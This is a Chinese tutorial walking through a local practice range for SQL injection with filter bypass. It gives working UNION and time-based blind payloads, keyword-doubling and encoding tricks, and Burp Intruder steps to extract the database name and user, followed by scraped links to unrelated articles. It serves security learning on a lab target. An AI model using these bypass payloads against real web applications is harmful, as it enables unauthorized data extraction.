SQL注入【ByPass有点难的靶场实战】(九)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。

为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

复制sqli-bypass压缩包到sqli项目下,解压并重命名为bypass,其中里面的数据库dvwa,请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》的dvwa,启动小皮的Apache和MySQL服务。

1、index1

1.1、判断是否存在SQL注入

正常响应值

在这里插入图片描述

在参数后面拼接上单引号' 发现响应长度有变化,拼接上两个单引号又正常响应长和回显了,因此存在SQL注入。

还有一种方式,就是在知道源码的情况下,可以把语句复制到mysql数据库编辑器比如navcat,去查询,构造确认这样更方便理解SQL注入为什么是这么拼的。
在这里插入图片描述
在这里插入图片描述

由此说明参数是有单引号闭合的,看源码也可确定是单引号包含着,这个是注入构造语句的关键点
在这里插入图片描述

1.2、确定回显字段

使用order by 数字来确定回显字段,发现提示:请勿SQL注入!!!,应该是空格被过滤了

# 注入语句
?id=1+order+by+5--+

在这里插入图片描述

使用注释方式/**/ 拼接看,发现可正常显示,把列数调整到10发现,不回显,不报错,可能是列数不到10,往下调到8正常显示,因此可确定查询的列数是8

# 正常显示
?id=1'/**/order/**/by/**/5%23
# 10列不显示
?id=1'/**/order/**/by/**/10%23
# 8列正常显示,
?id=1'/**/order/**/by/**/10%23

在这里插入图片描述

使用union来确定显示的是哪个列,注意查询参数要不存在的,否则显示是存在的数据,确定显示的列数是第4,5列

?id=-1'/**/union/**/select/**/1,2,3,4,5,6,7,8/**/'

在这里插入图片描述

1.3、联合查询爆出

把第4,5列依次替换成数据名,当前登录名

?id=-1'/**/union/**/select/**/1,2,3,database(),user(),6,7,8/**/'

在这里插入图片描述

2、index2

2.1、判断是否存在SQL注入

同1、index1

2.2、确定回显字段

看源码是过滤了关键字:andor ,同时错误信息不回显出来,所以是盲注,在确定列数时使用order,尝试用大小写 oRder

# 10列不显示信息,往下调整到8正常显示
?id=1'+oRder+by+10--+'?id=1'+oRder+by+8--+'

在这里插入图片描述

判断哪第几列对应显示,使用union,由于跟index1查相同的列,是第4,5列

# 注入语句
?id=-1'+union+select+1,2,3,4,5,6,7,8--+'# 关键显示信息
Your Login name:4<br>
Your Password:5   
2.3、联合查询爆出

把第4,5列依次替换成数据名,当前登录名

# 注入语句
?id=-1'+union+select+1,2,3,database(),user(),6,7,8--+'# 关键显示信息
Your Login name:dvwa<br>
Your Password:root@localhost   

3、index3

3.1、判断是否存在SQL注入

同1、index1

该示例还是可以用order by 的方式来确认查询的列数,再用union联合查询的方式来爆出数据库名,但想用其他方式来验证知识点,所以用下面的方式。

3.2、使用时间盲注

看源码是过滤了关键字:andor ,同时错误信息不回显出来,使用时间盲注来爆破数据库

关键字过滤绕过,尝试采用重复的方式处理
anandd --> and

# 注入语句
?id=1'+anandd+if(1=1,sleep(1),sleep(2))--+'

在这里插入图片描述

3.3、爆破数据库长度
# 输入内容
?id=1'+anandd+if(length(database())=2,1,0)--+'

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字2,这个值任意填写的。Attack Type选择:Sniper,参数设置看截图说明。
在这里插入图片描述

设置Payloads参数

在这里插入图片描述

分析攻击结果
在这里插入图片描述

从爆破结果得到数据库长度是4

3.4、爆破数据库名
# 输入内容
?id=1'+anandd+if(substr(database(),1,1)='a',1,0)--+'

爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
在这里插入图片描述

设置Payloads参数
在这里插入图片描述
在这里插入图片描述

分析攻击结果
在这里插入图片描述

从爆破结果得到数据库名是dvwa

4、index4

4.1、判断是否存在SQL注入

同1、index1,只是index4报错信息有抛出来,更方便定位问题。

4.2、使用时间盲注

看源码是过滤了关键字:andor ,错误信息有回显出来,使用时间盲注来爆破数据库

关键字过滤绕过,尝试采用重复的方式处理
anandd --> and

# 注入语句
?id=1'+anandd+if(1=1,sleep(1),sleep(2))--+'

发现有提示,没办法使用双写and的方式
在这里插入图片描述

看源码是在取参数时有做urldecode,所以尝试使用&&替换and方式,再使用在线URL编码工具进行编码

在线编码解码网址:https://www.gjk.cn/urlencode

# 编码前的poc
1'+&&+if(1=1,sleep(1),sleep(2))--+'# 编码后的poc
1%27%2B%26%26%2Bif%281%3D1%2Csleep%281%29%2Csleep%282%29%29--%2B%27

注意:POC复制到URL那边是接到?id=后面,执行后,发现可行
在这里插入图片描述

4.3、爆破数据库长度
# 编码前的poc,注意X是为了方便编码后定位打标识
1'+&&+if(length(database())=X,1,0)--+'#编码后的poc
1%27%2B%26%26%2Bif%28length%28database%28%29%29%3DX%2C1%2C0%29--%2B%27

注意:POC复制到URL那边是接到?id=后面

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字X,这个值任意填写的。Attack Type选择:Sniper,参数打标识如下
在这里插入图片描述

设置Payloads参数、分析攻击结果和第3.3关一样的,我就不再截图了。爆出结果数据库长度是4。

4.4、爆破数据库名
# 编码前的poc,注意X,Y是为了方便编码后定位打标识
1'+&&+if(substr(database(),X,1)='Y',1,0)--+'#编码后的poc
1%27%2B%26%26%2Bif%28substr%28database%28%29%2CX%2C1%29%3D%27Y%27%2C1%2C0%29--%2B%27

注意:POC复制到URL那边是接到?id=后面

爆破参数设置看截图说明,需要2个参数,第一个X是截取的数据库对应的字段索引,第二个Y是匹配的内容。
在这里插入图片描述

设置Payloads参数、分析攻击结果和第3.4关一样的,我就不再截图了。从爆破结果得到数据库名是dvwa

5、index5

5.1、判断是否存在SQL注入

同1、index1,不过index5报错信息也有抛出来,更方便定位问题。

5.2、使用时间盲注

看源码是过滤了很多关键字,错误信息有回显出来,使用时间盲注来爆破数据库

关键字过滤绕过,尝试采用重复的方式处理,成功了
anandd --> and

# 注入语句
?id=1'+anandd+if(1=1,sleep(1),sleep(2))--+'

在这里插入图片描述

5.3、爆破数据库长度
# 尝试使用POC
?id=1'+anandd+if(length(database())=2,1,0)--+'

在这里插入图片描述

发现有报错信息,从报错信息分析出来database()=都被过滤掉了,尝试替换如下

database() --> schema()# 看源码in也被过滤了,所以用between 4 and 4 来等价 =4 ,由于and也会被过滤,同上面一样采用双写的方式
= 4 --> between 4 anandd 4# 因此最终可行的POC
?id=1'+anandd+if(length(schema())+between+4+anandd+4,1,0)--+'

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到两个数字4,这个值任意填写的。Attack Type选择:Pitchfork,参数设置看截图说明。
在这里插入图片描述

设置Payloads参数
在这里插入图片描述
在这里插入图片描述

分析攻击结果,爆出结果数据库长度是4。
在这里插入图片描述

5.4、爆破数据库名
# 尝试使用POC
?id=1'+anandd+if(substr(schema(),1,1)+between+'a'+anandd+'a',1,0)--+'

在这里插入图片描述

发现有报错信息,从报错信息分析出来substr()被过滤掉了,因为上一步骤现在变化点就是函数substr(),尝试使用mid()替换,发现可以,没有报错信息了

# 尝试使用POC
?id=1'+anandd+if(mid(schema(),1,1)+between+'a'+anandd+'a',1,0)--+'

爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
在这里插入图片描述

设置Payloads参数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

分析攻击结果,从爆破结果得到数据库名是dvwa
在这里插入图片描述

6、资料获取和下期内容预告

如果需要sqli-bypass压缩包,请关注我的公众号:大象只为你,回复关键字:bypass靶场。

下期内容将会分享文件上传相关的内容,敬请关注我的公众号,持续更新中…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/823990.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

2023年03月20日_对李开复3月20日线下媒体会的解读

最近这个AI大模型 因为GPT4.0 ChatGPT 文心一言等等这些事情呢 一下子就被推到了风口浪尖 我们也做了来介绍相关的进展 国内呢也不断有一些大佬开始下场 包括王慧文、张朝阳、李彦宏什么的 都开始说自己要搞AI大模型 就在昨天呢 创新工厂的董事长兼CEO李开复 也发朋友…

2022年全球运维大会(GOPS深圳站)-核心PPT资料下载

一、峰会简介 GOPS 主要面向运维行业的中高端技术人员&#xff0c;包括运维、开发、测试、架构师等群体。目的在于帮助IT技术从业者系统学习了解相关知识体系&#xff0c;让创新技术推动社会进步。您将会看到国内外知名企业的相关技术案例&#xff0c;也能与国内顶尖的技术专家…

【C++】STL 容器 - set 集合容器 ⑦ ( 查找元素 - set#find 函数 | 获取元素个数 - set#count 函数 )

文章目录 一、查找元素 - set#find 函数1、函数原型 简介2、代码示例 - set#find 函数 二、获取元素个数 - set#count 函数1、函数原型 简介2、代码示例 - set#find 函数 一、查找元素 - set#find 函数 1、函数原型 简介 在 C 语言的 STL 标准模板库 , std::set 集合容器 是一个…

HCIP:rip综合实验

实验要求&#xff1a; 【R1-R2-R3-R4-R5运行RIPV2】 【R6-R7运行RIPV1】 1.使用合理IP地址规划网络&#xff0c;各自创建环回接口 2.R1创建环回 172.16.1.1/24 172.16.2.1/24 172.16.3.1/24 3.要求R3使用R2访问R1环回 4.加快网络收敛&#xff0c;减少路由条目数量&#xff0c;增…

2024年【R1快开门式压力容器操作】试题及解析及R1快开门式压力容器操作复审考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 R1快开门式压力容器操作试题及解析根据新R1快开门式压力容器操作考试大纲要求&#xff0c;安全生产模拟考试一点通将R1快开门式压力容器操作模拟考试试题进行汇编&#xff0c;组成一套R1快开门式压力容器操作全真模拟…

RHCE9学习指南 第12章 ssh远程登录系统和远程拷贝

很多时候服务器并没有显示器&#xff0c;我们也不可能每次都通过控制台去管理服务器&#xff0c;这时就需要远程登录。远程登录到服务器可以通过Telnet或ssh的方式。但是用Telnet登录&#xff0c;整个过程都是以明文的方式传输的&#xff0c;不安全。所以&#xff0c;建议使用s…

Java基础语法(注释,关键字,字面量,变量,数据类型,标识符,键盘录入,IDEA安装,类,模块,项目)

文章目录 day02 - Java基础语法1. 注释使用的技巧注意点 2. 关键字2.1 概念2.2 第一个关键字class 3. 字面量区分技巧 4. 变量4.1 什么是变量&#xff1f;4.2 变量的定义格式4.2.1 格式详解4.2.2 常用的数据类型4.2.3 变量的注意事项 4.3 变量的练习 5. 数据类型5.1 Java语言数…

Vue3-30-路由-嵌套路由的基本使用

什么是嵌套路由 嵌套路由 &#xff1a;就是一个组件内部还希望展示其他的组件&#xff0c;使用嵌套的方式实现页面组件的渲染。 就像 根组件 通过路由渲染 普通组件一样&#xff0c;嵌套路由也是一样的道理。 嵌套路由的相关关键配置 1、<router-view> 标签 声明 被嵌套组…

MendelianRandomization | 孟德尔随机化神包更新啦!~(一)(小试牛刀)

1写在前面 今天发现MendelianRandomization包更新v0.9了。&#x1f61c; 其实也算不上更新。&#x1fae0; 跟大家一起分享一下这个包做MR的用法吧。&#x1f929; 还有一个包就是TwoSampleMR&#xff0c;大家有兴趣可以去学一下。&#x1f605; 2用到的包 rm(list ls())# ins…

探索效率与可扩展性:MinIO图片服 VS FastDFS图片服

目录 1、前言 2、背景知识 2.1 Minio图片服的概述 2.2 FastDFS图片服的概述 3、性能比较 3.1 存储性能比较 3.1.1 对比上传速度和下载速度 3.1.2 比较两者的读写性能 3.2 负载均衡性能比较 4、可扩展性比较 4.1 横向扩展性性能比较 4.2 纵向扩展性性能比较 5、结语…

CCNP课程实验-Route_Path_Control_CFG

目录 实验条件网络拓朴需求 配置实现基础配置需求实现1.A---F所有区用Loopback模拟&#xff0c;地址格式为&#xff1a;XX.XX.XX.XX/32&#xff0c;其中X为路由器编号。根据拓扑宣告进对应协议。A1和A2区为特例&#xff0c;A1&#xff1a;55.55.55.0/24&#xff0c;A2&#xff…

ArkTS基本概念装饰器

目录 ArkTS基本概念 装饰器汇总 ArkTS基本概念 ArkTS是HarmonyOS的主力应用开发语言。 它在TypeScript&#xff08;简称TS&#xff09;的基础上&#xff0c;匹配ArkUI框架&#xff0c;扩展了声明式UI、状态管理等相应的能力&#xff0c;让开发者以更简洁、更自然的方式开发跨…

Python变量与常量

第三章、变量与常量 一、标识符 1、定义 在 Python 中&#xff0c;标识符是用来标识变量、函数、类、模块或其他用户定义的对象的名称。标识符是程序员自定义的名称&#xff0c;用于在代码中标识不同的实体&#xff0c;使得代码可读性更强&#xff0c;更易于理解和维护。标识…

汽配订货系统 助力汽配行业数字化转型升级

一个汽配订货系统可以助力汽配行业数字化转型升级&#xff0c;提供以下功能和优势&#xff1a; 1. 订单管理&#xff1a;订货系统可以记录每笔订单的详细信息&#xff0c;包括客户信息、产品信息、价格、数量等&#xff0c;方便汽配商进行订单统计和分析。 2. 库存管理&#x…

mxxWechatBot微信机器人V2版本文档说明

大家伙&#xff0c;我是雄雄&#xff0c;欢迎关注微信公众号&#xff1a;雄雄的小课堂。 先看这里 一、前言二、mxxWechatBot流程图三、怎么使用&#xff1f; 一、前言 经过不断地探索与研究&#xff0c;mxxWechatBot正式上线&#xff0c;届时全面开放使用。 mxxWechatBot&am…

59. 螺旋矩阵 II

给你一个正整数 n &#xff0c;生成一个包含 1 到 n2 所有元素&#xff0c;且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[[1,2,3],[8,9,4],[7,6,5]]示例 2&#xff1a; 输入&#xff1a;n 1 输出&…

OSPF的DR与BDR-新版(16)

目录 整体拓扑 操作步骤 1.基本配置 1.1 配置R1的IP 1.2 配置R2的IP 1.3 配置R3的IP 1.4 配置R4的IP 1.5 检测R1与R4连通性 1.6 检测R1与R2连通性 1.7 检测R1与R3连通性 2.搭建基本的OSPF网络 2.1 配置R1 OSPF 2.2 配置R2 OSPF 2.3 配置R3 OSPF 2.4 配置R4 OSPF…

前端常用的实用工具与网站

1. Snipaste–截图工具 Snipaste截图软件应该算是前端必备的截图软件了&#xff0c;之前也用过其他很多截图软件&#xff0c;这个算最为方便的了。而且最重要的时&#xff0c;它可以回滚截图历史&#xff0c;并且在回滚中还能截图。下面是官网地址的网站链接&#xff0c;当然我…

Unity坦克大战开发全流程——开始场景——设置界面

开始场景——设置界面 step1&#xff1a;设置面板的背景图 照着这个来设置就行了 step2&#xff1a;写代码 关联的按钮控件 监听事件函数 注意&#xff1a;要在start函数中再写一行HideMe函数&#xff0c;以便该面板能在一开始就能隐藏自己。 再在BeginPanel脚本中调用该函数即…

【AIGC-图片生成视频系列-2】八仙过海,各显神通:AI生成视频相关汇总剖析

最近「图片生成视频系列」层出不穷&#xff0c;我拜读并结合实践&#xff08;对&#xff0c;就是手撕代码&#xff0c;有开源就撕&#xff09;&#xff0c;并对以下几篇文章的相似点以及关键点稍微做个总结&#xff1a; 一. 生成视频中图像的一致性 在图像生成视频的这个过程…